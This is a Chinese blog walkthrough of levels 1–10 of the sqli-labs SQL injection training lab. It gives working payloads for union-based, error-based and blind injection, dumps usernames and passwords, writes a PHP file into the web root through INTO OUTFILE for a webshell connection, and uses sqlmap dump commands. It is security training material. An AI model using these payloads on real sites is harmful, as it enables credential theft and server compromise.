Sqli-lab注入靶场

Sqli-lab注入靶场 1-10笔记

Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)

方法一:手工UNION联合查询注入
1.输入单引号,页面报错,如下图所示。
Sqli-lab注入靶场_第1张图片
2.访问id= 1’ and 1 = 1,由于and 1 = 1为真,所以页面应返回与id=1相同的结果,如下图所示,访问id = 1’ and 1 = 2,由于 and 1 = 2为假,所以页面应返回与id = 1不同的结果,如下图所示。
Sqli-lab注入靶场_第2张图片
Sqli-lab注入靶场_第3张图片
3.查询数据表的字段数量,可以理解为order by = 1 - 99,如访问id=1’order by 3 --+,页面返回与id = 1相同的结果,如下图所示。访问id = 1’ order by 4 --+,页面返回与id = 1不同的结果,如下图所示,则字段数为3。
Sqli-lab注入靶场_第4张图片
Sqli-lab注入靶场_第5张图片
4.接下来使用Union注入,刚才通过order by查询结果,得到字段数为3,所以Union注入的语句如下所示。(id = 非正确值,union前为假才会返回结果)
127.0.0.1/sql/Less-1/?id=-1’ union select 1, 2, 3 --+
Sqli-lab注入靶场_第6张图片
因为返回的结果为2,3,意味着在union select 1,2,3中2和3可以输入mysql语句。我们尝试在2的位置查询当前数据库名。
127.0.0.1/sql/Less-1/?id=-1’ union select 1, da’tabase(), 3 --+
Sqli-lab注入靶场_第7张图片
接下来查询表名。
localhost/sql/Less-1/?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’limit 0,1; --+
Sqli-lab注入靶场_第8张图片
5.查到了表名,显然users是用户数据表,所以接下来爆列名(字段)。
localhost/sql/Less-1/?id=-1’union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+
Sqli-lab注入靶场_第9张图片
6.爆值
localhost/sql/Less-1/?id=-1’ union select 1,(select group_concat(username) from security.users) ,(select group_concat(password) from security.users) --+
Sqli-lab注入靶场_第10张图片

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

数字型注入,就是,把第一题中id=1后面的单引号去掉,其它保持不变就行了,不再赘述。
Sqli-lab注入靶场_第11张图片

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

先用id=1’查看回显错误。
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
分析判断出需要)去闭合,所以在less1的基础上加上),不再赘述。
Sqli-lab注入靶场_第12张图片

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

Sqli-lab注入靶场_第13张图片
首先输入单引号,页面无任何变化,输入双引号,页面报错,根据报错信息判断出咱们输入的内容被放到一队双引号和圆括号中,所以本题在less3的基础上把单引号换成双引号即可,不再赘述。

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

这道题的报错信息可以得到布尔型盲注、报错型注入、时间延迟型盲注的方法。
在这里介绍函数extractvalue()、函数updatexml()的方法
查询用户名
localhost/sql/Less-5?id=-1’and(extractvalue(1,concat(0x7e,(select group_concat(username) from security.users ),0x7e)));–+
Sqli-lab注入靶场_第14张图片
查询密码
localhost/sql/Less-5?id=-1’and (extractvalue(1,concat(0x7e,(select group_concat(password) from security.users),0x7e)));–+
Sqli-lab注入靶场_第15张图片
0x是十六进制标志,7e是十进制的126,是ascii中的 ‘~’ ,

Less-6 GET - Double Injection - Double Quotes - String (双注入GET双引号字符型注入)

双引号字符型注入,上一题的单引号改成双引号就可以了,不再赘述。

Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)

几次尝试,不难猜出注释符被过滤了,id被双层括号和单引号包围,URL正确时有提示 用outfile,错误时只知有错误,但是看看题目:less 7 GET - Dump into outfile - String (导出文件GET字符型注入)所以大概要使用文件导出。文件导出不外乎要先知道路径,这里有个小扩展。
winserver的iis默认路径c:\Inetpub\wwwroot
linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache 就…/var/www/htm,…/var/www/html/htdocs
phpstudy 就是…\PhpStudy20180211\PHPTutorial\WWW
xammp 就是…\xampp\htdocs
所以代码如下:
localhost/sql/Less-7/?id=1’)) union select 1,2,’’ into outfile “C:\phpstudy_pro\WWW\sql\1.php” --+
Sqli-lab注入靶场_第16张图片
Sqli-lab注入靶场_第17张图片
连接之前最好用浏览器访问一下,相当于运行一下,否则可能连不上。用菜刀一连即可。

Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)

在这一题,数据库的错误不再回显到页面上,但是我们可以发现当我们构造异常查询时,页面上的you are in会消失,这就是典型的布尔盲注。大家可以尝试用布尔型盲注自己去试试。在这里给大家介绍sqlmap解决这道题的方法,人生苦短,快用sqlmap跑起来,它不香吗???
第一步:查询数据库。
sqlmap.py “http://10.1.65.4/sql/Less-8/?id=1” --technique B --dbs -batch
或者 sqlmap.py “http://10.1.65.4/sql/Less-8/?id=1” --dbs
Sqli-lab注入靶场_第18张图片
第二步:指定数据库名列出所有表
sqlmap.py “http://10.1.65.4/sql/Less-8/?id=1” -D security --tables
Sqli-lab注入靶场_第19张图片
第三步:指定数据库表名列出所有字段
sqlmap.py “http://10.1.65.4/sql/Less-8/?id=1” -D security -T users --columns
Sqli-lab注入靶场_第20张图片
第四步:列出password 和user
sqlmap.py “http://10.1.65.4/sql/Less-8/?id=1” -D security -T users -C username --dump
sqlmap.py “http://10.1.65.4/sql/Less-8/?id=1” -D security -T users -C password --dump
第一张是用户名
第二张是密码
Sqli-lab注入靶场_第21张图片
Sqli-lab注入靶场_第22张图片

Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)

一看题目就知道这道题是时间型盲注,自己可以去尝试,在这里不多做叙述,人生苦短,快用sqlmap和第八题一样,不在多做叙述。

Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)

这道题和第九题一样,就是把单引号变成双引号http://10.1.65.4/sql/Less-10/?id=1%22 在1的后面加个%22就行,由于是基于时间的盲注,所以它的时间较长,等着就好了。过程跟上面一样不再叙述。

你可能感兴趣的:(Sqli-lab注入靶场)